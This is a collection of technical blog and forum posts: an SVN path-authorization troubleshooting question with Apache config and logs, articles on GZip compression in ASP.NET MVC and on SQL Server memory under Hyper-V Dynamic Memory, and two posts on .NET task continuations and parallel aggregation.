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• Using AuthzSVNAccessFile for controlling SVN Access produces HTTP 400 Bad Request

  - by meeper

  I have a new repository on an existing subversion server that requires us to perform path based authorization within the repository. I found that the AuthzSVNAccessFile directive in apache is directly responsible for allowing this functionality. After fixing several other problems such as AuthzSVNAccessFile preventing SVNListParentPath from operating properly, I am left with one single problem. I can checkout, I can update, I can commit, BUT I cannot execute an SVN COPY for performing branch/tagging operations. The moment I comment out the AuthzSVNAccessFile line in the Apache config everything works as expected except the obvious path authorizations. Versions: The server OS is Debian 6.0.7 (Squeeze) Apache 2.2.16-6+squeeze11 Server Subversion 1.6.12dfsg-7 Clients are running windows Clients tried are: TortoiseSVN 1.8.2 Build 24708 64bit SVN CLI Client 1.8.3 (r1516576) Authentication is performed via AD to a Windows 2003 domain and appears to be operating normally. I have stripped out all other configurations and repository setups to produce this single configuration that reproduces the problem. Apache Configuration: <VirtualHost *:443> ServerName svn-test.company.com ServerAlias /svn-test ServerAdmin [email protected] SSLEngine On SSLCertificateFile /etc/apache2/apache.pem ErrorLog /var/log/apache2/svn-test_error.log LogLevel warn CustomLog /var/log/apache2/svn-test_access.log combined ServerSignature On # Repository Access to all Repositories <Location "/"> DAV svn SVNParentPath /var/svn SVNListParentPath on AuthBasicProvider ldap AuthType Basic AuthzLDAPAuthoritative Off AuthName "Subversion Test Repository System" AuthLDAPURL "ldap://adserver.company.com:389/DC=corp,DC=company,DC=com?sAMAccountName?sub?(objectClass=*)" NONE AuthLDAPBindDN "CN=service_account,OU=ServiceIDs,OU=corp,OU=Delegated,DC=na,DC=corp,DC=company,DC=com" AuthLDAPBindPassword service_account_password Require valid-user SSLRequireSSL </Location> # <LocationMatch /.+> is a really dirty trick to make listing of repositories work # http://d.hatena.ne.jp/shimonoakio/20080130/1201686016 <LocationMatch /.+> AuthzSVNAccessFile /etc/apache2/svn_path_auth </LocationMatch> </VirtualHost> SVN Access File: [/] * = rw The repository used (AuthTestBasic) consists of the following directory structure and contains no externals (this is a literal listing, not an example): / /branches/ /tags/ /trunk/ /trunk/somefile.txt Tortoise produces the following error during a tag operation in it's tag result window: Adding directory failed: COPY on /authtestbasic/!svn/bc/2/trunk (400 Bad Request) The svn.exe CLI client produces the following error: C:\Users\e20epkt>svn copy https://servername/authtestbasic/trunk https://servername/authtestbasic/tags/tag1 -m "svn cli client" svn: E175002: Adding directory failed: COPY on /authtestbasic/!svn/bc/2/trunk (400 Bad Request) The Apache error log has nothing in it, however the apache access log has the following in it (IP addresses and usernames changed obviously): 10.1.2.100 - - [17/Oct/2013:11:53:40 -0700] "OPTIONS /authtestbasic/trunk HTTP/1.1" 401 2595 "-" "SVN/1.8.3 (x64-microsoft-windows) serf/1.3.1 TortoiseSVN-1.8.2.24708" 10.1.2.100 - myuseraccount [17/Oct/2013:11:53:40 -0700] "OPTIONS /authtestbasic/trunk HTTP/1.1" 200 996 "-" "SVN/1.8.3 (x64-microsoft-windows) serf/1.3.1 TortoiseSVN-1.8.2.24708" 10.1.2.100 - myuseraccount [17/Oct/2013:11:53:40 -0700] "OPTIONS /authtestbasic/trunk HTTP/1.1" 200 884 "-" "SVN/1.8.3 (x64-microsoft-windows) serf/1.3.1 TortoiseSVN-1.8.2.24708" 10.1.2.100 - myuseraccount [17/Oct/2013:11:53:40 -0700] "PROPFIND /authtestbasic/trunk HTTP/1.1" 207 692 "-" "SVN/1.8.3 (x64-microsoft-windows) serf/1.3.1 TortoiseSVN-1.8.2.24708" 10.1.2.100 - myuseraccount [17/Oct/2013:11:53:40 -0700] "PROPFIND /authtestbasic/!svn/vcc/default HTTP/1.1" 207 596 "-" "SVN/1.8.3 (x64-microsoft-windows) serf/1.3.1 TortoiseSVN-1.8.2.24708" 10.1.2.100 - myuseraccount [17/Oct/2013:11:53:40 -0700] "REPORT /authtestbasic/!svn/bc/0/trunk HTTP/1.1" 404 580 "-" "SVN/1.8.3 (x64-microsoft-windows) serf/1.3.1 TortoiseSVN-1.8.2.24708" 10.1.2.100 - myuseraccount [17/Oct/2013:11:53:40 -0700] "PROPFIND /authtestbasic/!svn/vcc/default HTTP/1.1" 207 596 "-" "SVN/1.8.3 (x64-microsoft-windows) serf/1.3.1 TortoiseSVN-1.8.2.24708" 10.1.2.100 - myuseraccount [17/Oct/2013:11:53:40 -0700] "REPORT /authtestbasic/!svn/bc/2/trunk HTTP/1.1" 200 674 "-" "SVN/1.8.3 (x64-microsoft-windows) serf/1.3.1 TortoiseSVN-1.8.2.24708" 10.1.2.100 - myuseraccount [17/Oct/2013:11:53:40 -0700] "PROPFIND /authtestbasic/!svn/bc/2/trunk HTTP/1.1" 207 548 "-" "SVN/1.8.3 (x64-microsoft-windows) serf/1.3.1 TortoiseSVN-1.8.2.24708" 10.1.2.100 - myuseraccount [17/Oct/2013:11:53:40 -0700] "PROPFIND /authtestbasic/tags/tag1 HTTP/1.1" 404 580 "-" "SVN/1.8.3 (x64-microsoft-windows) serf/1.3.1 TortoiseSVN-1.8.2.24708" 10.1.2.100 - myuseraccount [17/Oct/2013:11:53:40 -0700] "MKACTIVITY /authtestbasic/!svn/act/f1e9dc07-fb5e-5a41-ac22-907705ef6e5e HTTP/1.1" 201 708 "-" "SVN/1.8.3 (x64-microsoft-windows) serf/1.3.1 TortoiseSVN-1.8.2.24708" 10.1.2.100 - myuseraccount [17/Oct/2013:11:53:40 -0700] "PROPFIND /authtestbasic/tags HTTP/1.1" 207 580 "-" "SVN/1.8.3 (x64-microsoft-windows) serf/1.3.1 TortoiseSVN-1.8.2.24708" 10.1.2.100 - myuseraccount [17/Oct/2013:11:53:40 -0700] "CHECKOUT /authtestbasic/!svn/vcc/default HTTP/1.1" 201 708 "-" "SVN/1.8.3 (x64-microsoft-windows) serf/1.3.1 TortoiseSVN-1.8.2.24708" 10.1.2.100 - myuseraccount [17/Oct/2013:11:53:40 -0700] "PROPPATCH /authtestbasic/!svn/wbl/f1e9dc07-fb5e-5a41-ac22-907705ef6e5e/2 HTTP/1.1" 207 596 "-" "SVN/1.8.3 (x64-microsoft-windows) serf/1.3.1 TortoiseSVN-1.8.2.24708" 10.1.2.100 - myuseraccount [17/Oct/2013:11:53:40 -0700] "CHECKOUT /authtestbasic/!svn/ver/1/tags HTTP/1.1" 201 724 "-" "SVN/1.8.3 (x64-microsoft-windows) serf/1.3.1 TortoiseSVN-1.8.2.24708" 10.1.2.100 - myuseraccount [17/Oct/2013:11:53:40 -0700] "COPY /authtestbasic/!svn/bc/2/trunk HTTP/1.1" 400 596 "-" "SVN/1.8.3 (x64-microsoft-windows) serf/1.3.1 TortoiseSVN-1.8.2.24708" 10.1.2.100 - myuseraccount [17/Oct/2013:11:53:40 -0700] "DELETE /authtestbasic/!svn/act/f1e9dc07-fb5e-5a41-ac22-907705ef6e5e HTTP/1.1" 204 1956 "-" "SVN/1.8.3 (x64-microsoft-windows) serf/1.3.1 TortoiseSVN-1.8.2.24708" You'll see that the second to last line contains the COPY command with the HTTP 400 response, however, there doesn't appear to be any indication as to why. Please note that, while yes this is a test repository on a test server, I am experiencing this same issue in this test setup where I have eliminated all other possible causes (mixed repository configurations, externals, etc). I have also confirmed that all files for the repository (/var/svn/authtestbasic) are owned by the Apache user www-data.

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• GZip/Deflate Compression in ASP.NET MVC

  - by Rick Strahl

  A long while back I wrote about GZip compression in ASP.NET. In that article I describe two generic helper methods that I've used in all sorts of ASP.NET application from WebForms apps to HttpModules and HttpHandlers that require gzip or deflate compression. The same static methods also work in ASP.NET MVC. Here are the two routines:/// <summary> /// Determines if GZip is supported /// </summary> /// <returns></returns> public static bool IsGZipSupported() { string AcceptEncoding = HttpContext.Current.Request.Headers["Accept-Encoding"]; if (!string.IsNullOrEmpty(AcceptEncoding) && (AcceptEncoding.Contains("gzip") || AcceptEncoding.Contains("deflate"))) return true; return false; } /// <summary> /// Sets up the current page or handler to use GZip through a Response.Filter /// IMPORTANT: /// You have to call this method before any output is generated! /// </summary> public static void GZipEncodePage() { HttpResponse Response = HttpContext.Current.Response; if (IsGZipSupported()) { string AcceptEncoding = HttpContext.Current.Request.Headers["Accept-Encoding"]; if (AcceptEncoding.Contains("gzip")) { Response.Filter = new System.IO.Compression.GZipStream(Response.Filter, System.IO.Compression.CompressionMode.Compress); Response.Headers.Remove("Content-Encoding"); Response.AppendHeader("Content-Encoding", "gzip"); } else { Response.Filter = new System.IO.Compression.DeflateStream(Response.Filter, System.IO.Compression.CompressionMode.Compress); Response.Headers.Remove("Content-Encoding"); Response.AppendHeader("Content-Encoding", "deflate"); } } // Allow proxy servers to cache encoded and unencoded versions separately Response.AppendHeader("Vary", "Content-Encoding"); } The first method checks whether the client sending the request includes the accept-encoding for either gzip or deflate, and if if it does it returns true. The second function uses IsGzipSupported() to decide whether it should encode content and uses an Response Filter to do its job. Basically response filters look at the Response output stream as it's written and convert the data flowing through it. Filters are a bit tricky to work with but the two .NET filter streams for GZip and Deflate Compression make this a snap to implement. In my old code and even now in MVC I can always do:public ActionResult List(string keyword=null, int category=0) { WebUtils.GZipEncodePage(); …} to encode my content. And that works just fine. The proper way: Create an ActionFilterAttribute However in MVC this sort of thing is typically better handled by an ActionFilter which can be applied with an attribute. So to be all prim and proper I created an CompressContentAttribute ActionFilter that incorporates those two helper methods and which looks like this:/// <summary> /// Attribute that can be added to controller methods to force content /// to be GZip encoded if the client supports it /// </summary> public class CompressContentAttribute : ActionFilterAttribute { /// <summary> /// Override to compress the content that is generated by /// an action method. /// </summary> /// <param name="filterContext"></param> public override void OnActionExecuting(ActionExecutingContext filterContext) { GZipEncodePage(); } /// <summary> /// Determines if GZip is supported /// </summary> /// <returns></returns> public static bool IsGZipSupported() { string AcceptEncoding = HttpContext.Current.Request.Headers["Accept-Encoding"]; if (!string.IsNullOrEmpty(AcceptEncoding) && (AcceptEncoding.Contains("gzip") || AcceptEncoding.Contains("deflate"))) return true; return false; } /// <summary> /// Sets up the current page or handler to use GZip through a Response.Filter /// IMPORTANT: /// You have to call this method before any output is generated! /// </summary> public static void GZipEncodePage() { HttpResponse Response = HttpContext.Current.Response; if (IsGZipSupported()) { string AcceptEncoding = HttpContext.Current.Request.Headers["Accept-Encoding"]; if (AcceptEncoding.Contains("gzip")) { Response.Filter = new System.IO.Compression.GZipStream(Response.Filter, System.IO.Compression.CompressionMode.Compress); Response.Headers.Remove("Content-Encoding"); Response.AppendHeader("Content-Encoding", "gzip"); } else { Response.Filter = new System.IO.Compression.DeflateStream(Response.Filter, System.IO.Compression.CompressionMode.Compress); Response.Headers.Remove("Content-Encoding"); Response.AppendHeader("Content-Encoding", "deflate"); } } // Allow proxy servers to cache encoded and unencoded versions separately Response.AppendHeader("Vary", "Content-Encoding"); } } It's basically the same code wrapped into an ActionFilter attribute, which intercepts requests MVC requests to Controller methods and lets you hook up logic before and after the methods have executed. Here I want to override OnActionExecuting() which fires before the Controller action is fired. With the CompressContentAttribute created, it can now be applied to either the controller as a whole:[CompressContent] public class ClassifiedsController : ClassifiedsBaseController { … } or to one of the Action methods:[CompressContent] public ActionResult List(string keyword=null, int category=0) { … } The former applies compression to every action method, while the latter is selective and only applies it to the individual action method. Is the attribute better than the static utility function? Not really, but it is the standard MVC way to hook up 'filter' content and that's where others are likely to expect to set options like this. In fact,  you have a bit more control with the utility function because you can conditionally apply it in code, but this is actually much less likely in MVC applications than old WebForms apps since controller methods tend to be more focused. Compression Caveats Http compression is very cool and pretty easy to implement in ASP.NET but you have to be careful with it - especially if your content might get transformed or redirected inside of ASP.NET. A good example, is if an error occurs and a compression filter is applied. ASP.NET errors don't clear the filter, but clear the Response headers which results in some nasty garbage because the compressed content now no longer matches the headers. Another issue is Caching, which has to account for all possible ways of compression and non-compression that the content is served. Basically compressed content and caching don't mix well. I wrote about several of these issues in an old blog post and I recommend you take a quick peek before diving into making every bit of output Gzip encoded. None of these are show stoppers, but you have to be aware of the issues. Related Posts GZip Compression with ASP.NET Content ASP.NET GZip Encoding Caveats© Rick Strahl, West Wind Technologies, 2005-2012Posted in ASP.NET  MVC   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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• SQL Server and Hyper-V Dynamic Memory Part 2

  - by SQLOS Team

  Part 1 of this series was an introduction and overview of Hyper-V Dynamic Memory. This part looks at SQL Server memory management and how the SQL engine responds to changing OS memory conditions.   Part 2: SQL Server Memory Management As with any Windows process, sqlserver.exe has a virtual address space (VAS) of 4GB on 32-bit and 8TB in 64-bit editions. Pages in its VAS are mapped to pages in physical memory when the memory is committed and referenced for the first time. The collection of VAS pages that have been recently referenced is known as the Working Set. How and when SQL Server allocates virtual memory and grows its working set depends on the memory model it uses. SQL Server supports three basic memory models:   1. Conventional Memory Model   The Conventional model is the default SQL Server memory model and has the following properties: - Dynamic - can grow or shrink its working set in response to load and external (operating system) memory conditions. - OS uses 4K pages – (not to be confused with SQL Server “pages” which are 8K regions of committed memory).- Pageable - Can be paged out to disk by the operating system.   2. Locked Page Model The locked page memory model is set when SQL Server is started with "Lock Pages in Memory" privilege*. It has the following characteristics: - Dynamic - can grow or shrink its working set in the same way as the Conventional model.- OS uses 4K pages - Non-Pageable – When memory is committed it is locked in memory, meaning that it will remain backed by physical memory and will not be paged out by the operating system. A common misconception is to interpret "locked" as non-dynamic. A SQL Server instance using the locked page memory model will grow and shrink (allocate memory and release memory) in response to changing workload and OS memory conditions in the same way as it does with the conventional model.   This is an important consideration when we look at Hyper-V Dynamic Memory – “locked” memory works perfectly well with “dynamic” memory.   * Note in “Denali” (Standard Edition and above), and in SQL 2008 R2 64-bit (Enterprise and above editions) the Lock Pages in Memory privilege is all that is required to set this model. In 2008 R2 64-Bit standard edition it also requires trace flag 845 to be set, in 2008 R2 32-bit editions it requires sp_configure 'awe enabled' 1.   3. Large Page Model The Large page model is set using trace flag 834 and potentially offers a small performance boost for systems that are configured with large pages. It is characterized by: - Static - memory is allocated at startup and does not change. - OS uses large (>2MB) pages - Non-Pageable The large page model is supported with Hyper-V Dynamic Memory (and Hyper-V also supports large pages), but you get no benefit from using Dynamic Memory with this model since SQL Server memory does not grow or shrink. The rest of this article will focus on the locked and conventional SQL Server memory models.   When does SQL Server grow? For “dynamic” configurations (Conventional and Locked memory models), the sqlservr.exe process grows – allocates and commits memory from the OS – in response to a workload. As much memory is allocated as is required to optimally run the query and buffer data for future queries, subject to limitations imposed by:   - SQL Server max server memory setting. If this configuration option is set, the buffer pool is not allowed to grow to more than this value. In SQL Server 2008 this value represents single page allocations, and in “Denali” it represents any size page allocations and also managed CLR procedure allocations.   - Memory signals from OS. The operating system sets a signal on memory resource notification objects to indicate whether it has memory available or whether it is low on available memory. If there is only 32MB free for every 4GB of memory a low memory signal is set, which continues until 64MB/4GB is free. If there is 96MB/4GB free the operating system sets a high memory signal. SQL Server only allocates memory when the high memory signal is set.   To summarize, for SQL Server to grow you need three conditions: a workload, max server memory setting higher than the current allocation, high memory signals from the OS.    When does SQL Server shrink caches? SQL Server as a rule does not like to return memory to the OS, but it will shrink its caches in response to memory pressure. Memory pressure can be divided into “internal” and “external”.   - External memory pressure occurs when the operating system is running low on memory and low memory signals are set. The SQL Server Resource Monitor checks for low memory signals approximately every 5 seconds and it will attempt to free memory until the signals stop.   To free memory SQL Server does the following: ·         Frees unused memory. ·         Notifies Memory Manager Clients to release memory o   Caches – Free unreferenced cache objects. o   Buffer pool - Based on oldest access times.   The freed memory is released back to the operating system. This process continues until the low memory resource notifications stop.    - Internal memory pressure occurs when the size of different caches and allocations increase but the SQL Server process needs to keep its total memory within a target value. For example if max server memory is set and certain caches are growing large, it will cause SQL to free memory for re-use internally, but not to release memory back to the OS. If you lower the value of max server memory you will generate internal memory pressure that will cause SQL to release memory back to the OS.    Memory pressure handling has not changed much since SQL 2005 and it was described in detail in a blog post by Slava Oks.   Note that SQL Server Express is an exception to the above behavior. Unlike other editions it does not assume it is the most important process running on the system but tries to be more “desktop” friendly. It will empty its working set after a period of inactivity.   How does SQL Server respond to changing OS memory?    In SQL Server 2005 support for Hot-Add memory was introduced. This feature, available in Enterprise and above editions, allows the server to make use of any extra physical memory that was added after SQL Server started. Being able to add physical memory when the system is running is limited to specialized hardware, but with the Hyper-V Dynamic Memory feature, when new memory is allocated to a guest virtual machine, it looks like hot-add physical memory to the guest. What this means is that thanks to the hot-add memory feature, SQL Server 2005 and higher can dynamically grow if more “physical” memory is granted to a guest VM by Hyper-V dynamic memory.   SQL Server checks OS memory every second and dynamically adjusts its “target” (based on available OS memory and max server memory) accordingly.   In “Denali” Standard Edition will also have sqlserver.exe support for hot-add memory when running virtualized (i.e. detecting and acting on Hyper-V Dynamic Memory allocations).   How does a SQL Server workload in a guest VM impact Hyper-V dynamic memory scheduling?   When a SQL workload causes the sqlserver.exe process to grow its working set, the Hyper-V memory scheduler will detect memory pressure in the guest VM and add memory to it. SQL Server will then detect the extra memory and grow according to workload demand. In our tests we have seen this feedback process cause a guest VM to grow quickly in response to SQL workload - we are still working on characterizing this ramp-up.    How does SQL Server respond when Hyper-V removes memory from a guest VM through ballooning?   If pressure from other VM's cause Hyper-V Dynamic Memory to take memory away from a VM through ballooning (allocating memory with a virtual device driver and returning it to the host OS), Windows Memory Manager will page out unlocked portions of memory and signal low resource notification events. When SQL Server detects these events it will shrink memory until the low memory notifications stop (see cache shrinking description above).    This raises another question. Can we make SQL Server release memory more readily and hence behave more "dynamically" without compromising performance? In certain circumstances where the application workload is predictable it may be possible to have a job which varies "max server memory" according to need, lowering it when the engine is inactive and raising it before a period of activity. This would have limited applicaability but it is something we're looking into.   What Memory Management changes are there in SQL Server “Denali”?   In SQL Server “Denali” (aka SQL11) the Memory Manager has been re-written to be more efficient. The main changes are summarized in this post. An important change with respect to Hyper-V Dynamic Memory support is that now the max server memory setting includes any size page allocations and managed CLR procedure allocations it now represents a closer approximation to total sqlserver.exe memory usage. This makes it easier to calculate a value for max server memory, which becomes important when configuring virtual machines to work well with Hyper-V Dynamic Memory Startup and Maximum RAM settings.   Another important change is no more AWE or hot-add support for 32-bit edition. This means if you're running a 32-bit edition of Denali you're limited to a 4GB address space and will not be able to take advantage of dynamically added OS memory that wasn't present when SQL Server started (though Hyper-V Dynamic Memory is still a supported configuration).   In part 3 we’ll develop some best practices for configuring and using SQL Server with Dynamic Memory. Originally posted at http://blogs.msdn.com/b/sqlosteam/

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• Parallelism in .NET – Part 18, Task Continuations with Multiple Tasks

  - by Reed

  In my introduction to Task continuations I demonstrated how the Task class provides a more expressive alternative to traditional callbacks.  Task continuations provide a much cleaner syntax to traditional callbacks, but there are other reasons to switch to using continuations… Task continuations provide a clean syntax, and a very simple, elegant means of synchronizing asynchronous method results with the user interface.  In addition, continuations provide a very simple, elegant means of working with collections of tasks. Prior to .NET 4, working with multiple related asynchronous method calls was very tricky.  If, for example, we wanted to run two asynchronous operations, followed by a single method call which we wanted to run when the first two methods completed, we’d have to program all of the handling ourselves.  We would likely need to take some approach such as using a shared callback which synchronized against a common variable, or using a WaitHandle shared within the callbacks to allow one to wait for the second.  Although this could be accomplished easily enough, it requires manually placing this handling into every algorithm which requires this form of blocking.  This is error prone, difficult, and can easily lead to subtle bugs. Similar to how the Task class static methods providing a way to block until multiple tasks have completed, TaskFactory contains static methods which allow a continuation to be scheduled upon the completion of multiple tasks: TaskFactory.ContinueWhenAll. This allows you to easily specify a single delegate to run when a collection of tasks has completed.  For example, suppose we have a class which fetches data from the network.  This can be a long running operation, and potentially fail in certain situations, such as a server being down.  As a result, we have three separate servers which we will “query” for our information.  Now, suppose we want to grab data from all three servers, and verify that the results are the same from all three. With traditional asynchronous programming in .NET, this would require using three separate callbacks, and managing the synchronization between the various operations ourselves.  The Task and TaskFactory classes simplify this for us, allowing us to write: var server1 = Task.Factory.StartNew( () => networkClass.GetResults(firstServer) ); var server2 = Task.Factory.StartNew( () => networkClass.GetResults(secondServer) ); var server3 = Task.Factory.StartNew( () => networkClass.GetResults(thirdServer) ); var result = Task.Factory.ContinueWhenAll( new[] {server1, server2, server3 }, (tasks) => { // Propogate exceptions (see below) Task.WaitAll(tasks); return this.CompareTaskResults( tasks[0].Result, tasks[1].Result, tasks[2].Result); }); .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } This is clean, simple, and elegant.  The one complication is the Task.WaitAll(tasks); statement. Although the continuation will not complete until all three tasks (server1, server2, and server3) have completed, there is a potential snag.  If the networkClass.GetResults method fails, and raises an exception, we want to make sure to handle it cleanly.  By using Task.WaitAll, any exceptions raised within any of our original tasks will get wrapped into a single AggregateException by the WaitAll method, providing us a simplified means of handling the exceptions.  If we wait on the continuation, we can trap this AggregateException, and handle it cleanly.  Without this line, it’s possible that an exception could remain uncaught and unhandled by a task, which later might trigger a nasty UnobservedTaskException.  This would happen any time two of our original tasks failed. Just as we can schedule a continuation to occur when an entire collection of tasks has completed, we can just as easily setup a continuation to run when any single task within a collection completes.  If, for example, we didn’t need to compare the results of all three network locations, but only use one, we could still schedule three tasks.  We could then have our completion logic work on the first task which completed, and ignore the others.  This is done via TaskFactory.ContinueWhenAny: var server1 = Task.Factory.StartNew( () => networkClass.GetResults(firstServer) ); var server2 = Task.Factory.StartNew( () => networkClass.GetResults(secondServer) ); var server3 = Task.Factory.StartNew( () => networkClass.GetResults(thirdServer) ); var result = Task.Factory.ContinueWhenAny( new[] {server1, server2, server3 }, (firstTask) => { return this.ProcessTaskResult(firstTask.Result); }); .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } Here, instead of working with all three tasks, we’re just using the first task which finishes.  This is very useful, as it allows us to easily work with results of multiple operations, and “throw away” the others.  However, you must take care when using ContinueWhenAny to properly handle exceptions.  At some point, you should always wait on each task (or use the Task.Result property) in order to propogate any exceptions raised from within the task.  Failing to do so can lead to an UnobservedTaskException.

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• Parallelism in .NET – Part 4, Imperative Data Parallelism: Aggregation

  - by Reed

  In the article on simple data parallelism, I described how to perform an operation on an entire collection of elements in parallel.  Often, this is not adequate, as the parallel operation is going to be performing some form of aggregation. Simple examples of this might include taking the sum of the results of processing a function on each element in the collection, or finding the minimum of the collection given some criteria.  This can be done using the techniques described in simple data parallelism, however, special care needs to be taken into account to synchronize the shared data appropriately.  The Task Parallel Library has tools to assist in this synchronization. The main issue with aggregation when parallelizing a routine is that you need to handle synchronization of data.  Since multiple threads will need to write to a shared portion of data.  Suppose, for example, that we wanted to parallelize a simple loop that looked for the minimum value within a dataset: double min = double.MaxValue; foreach(var item in collection) { double value = item.PerformComputation(); min = System.Math.Min(min, value); } .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } This seems like a good candidate for parallelization, but there is a problem here.  If we just wrap this into a call to Parallel.ForEach, we’ll introduce a critical race condition, and get the wrong answer.  Let’s look at what happens here: // Buggy code! Do not use! double min = double.MaxValue; Parallel.ForEach(collection, item => { double value = item.PerformComputation(); min = System.Math.Min(min, value); }); This code has a fatal flaw: min will be checked, then set, by multiple threads simultaneously.  Two threads may perform the check at the same time, and set the wrong value for min.  Say we get a value of 1 in thread 1, and a value of 2 in thread 2, and these two elements are the first two to run.  If both hit the min check line at the same time, both will determine that min should change, to 1 and 2 respectively.  If element 1 happens to set the variable first, then element 2 sets the min variable, we’ll detect a min value of 2 instead of 1.  This can lead to wrong answers. Unfortunately, fixing this, with the Parallel.ForEach call we’re using, would require adding locking.  We would need to rewrite this like: // Safe, but slow double min = double.MaxValue; // Make a "lock" object object syncObject = new object(); Parallel.ForEach(collection, item => { double value = item.PerformComputation(); lock(syncObject) min = System.Math.Min(min, value); }); This will potentially add a huge amount of overhead to our calculation.  Since we can potentially block while waiting on the lock for every single iteration, we will most likely slow this down to where it is actually quite a bit slower than our serial implementation.  The problem is the lock statement – any time you use lock(object), you’re almost assuring reduced performance in a parallel situation.  This leads to two observations I’ll make: When parallelizing a routine, try to avoid locks. That being said: Always add any and all required synchronization to avoid race conditions. These two observations tend to be opposing forces – we often need to synchronize our algorithms, but we also want to avoid the synchronization when possible.  Looking at our routine, there is no way to directly avoid this lock, since each element is potentially being run on a separate thread, and this lock is necessary in order for our routine to function correctly every time. However, this isn’t the only way to design this routine to implement this algorithm.  Realize that, although our collection may have thousands or even millions of elements, we have a limited number of Processing Elements (PE).  Processing Element is the standard term for a hardware element which can process and execute instructions.  This typically is a core in your processor, but many modern systems have multiple hardware execution threads per core.  The Task Parallel Library will not execute the work for each item in the collection as a separate work item. Instead, when Parallel.ForEach executes, it will partition the collection into larger “chunks” which get processed on different threads via the ThreadPool.  This helps reduce the threading overhead, and help the overall speed.  In general, the Parallel class will only use one thread per PE in the system. Given the fact that there are typically fewer threads than work items, we can rethink our algorithm design.  We can parallelize our algorithm more effectively by approaching it differently.  Because the basic aggregation we are doing here (Min) is communitive, we do not need to perform this in a given order.  We knew this to be true already – otherwise, we wouldn’t have been able to parallelize this routine in the first place.  With this in mind, we can treat each thread’s work independently, allowing each thread to serially process many elements with no locking, then, after all the threads are complete, “merge” together the results. This can be accomplished via a different set of overloads in the Parallel class: Parallel.ForEach<TSource,TLocal>.  The idea behind these overloads is to allow each thread to begin by initializing some local state (TLocal).  The thread will then process an entire set of items in the source collection, providing that state to the delegate which processes an individual item.  Finally, at the end, a separate delegate is run which allows you to handle merging that local state into your final results. To rewriting our routine using Parallel.ForEach<TSource,TLocal>, we need to provide three delegates instead of one.  The most basic version of this function is declared as: public static ParallelLoopResult ForEach<TSource, TLocal>( IEnumerable<TSource> source, Func<TLocal> localInit, Func<TSource, ParallelLoopState, TLocal, TLocal> body, Action<TLocal> localFinally ) The first delegate (the localInit argument) is defined as Func<TLocal>.  This delegate initializes our local state.  It should return some object we can use to track the results of a single thread’s operations. The second delegate (the body argument) is where our main processing occurs, although now, instead of being an Action<T>, we actually provide a Func<TSource, ParallelLoopState, TLocal, TLocal> delegate.  This delegate will receive three arguments: our original element from the collection (TSource), a ParallelLoopState which we can use for early termination, and the instance of our local state we created (TLocal).  It should do whatever processing you wish to occur per element, then return the value of the local state after processing is completed. The third delegate (the localFinally argument) is defined as Action<TLocal>.  This delegate is passed our local state after it’s been processed by all of the elements this thread will handle.  This is where you can merge your final results together.  This may require synchronization, but now, instead of synchronizing once per element (potentially millions of times), you’ll only have to synchronize once per thread, which is an ideal situation. Now that I’ve explained how this works, lets look at the code: // Safe, and fast! double min = double.MaxValue; // Make a "lock" object object syncObject = new object(); Parallel.ForEach( collection, // First, we provide a local state initialization delegate. () => double.MaxValue, // Next, we supply the body, which takes the original item, loop state, // and local state, and returns a new local state (item, loopState, localState) => { double value = item.PerformComputation(); return System.Math.Min(localState, value); }, // Finally, we provide an Action<TLocal>, to "merge" results together localState => { // This requires locking, but it's only once per used thread lock(syncObj) min = System.Math.Min(min, localState); } ); Although this is a bit more complicated than the previous version, it is now both thread-safe, and has minimal locking.  This same approach can be used by Parallel.For, although now, it’s Parallel.For<TLocal>.  When working with Parallel.For<TLocal>, you use the same triplet of delegates, with the same purpose and results. Also, many times, you can completely avoid locking by using a method of the Interlocked class to perform the final aggregation in an atomic operation.  The MSDN example demonstrating this same technique using Parallel.For uses the Interlocked class instead of a lock, since they are doing a sum operation on a long variable, which is possible via Interlocked.Add. By taking advantage of local state, we can use the Parallel class methods to parallelize algorithms such as aggregation, which, at first, may seem like poor candidates for parallelization.  Doing so requires careful consideration, and often requires a slight redesign of the algorithm, but the performance gains can be significant if handled in a way to avoid excessive synchronization.

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• Adding DTrace Probes to PHP Extensions

  - by cj

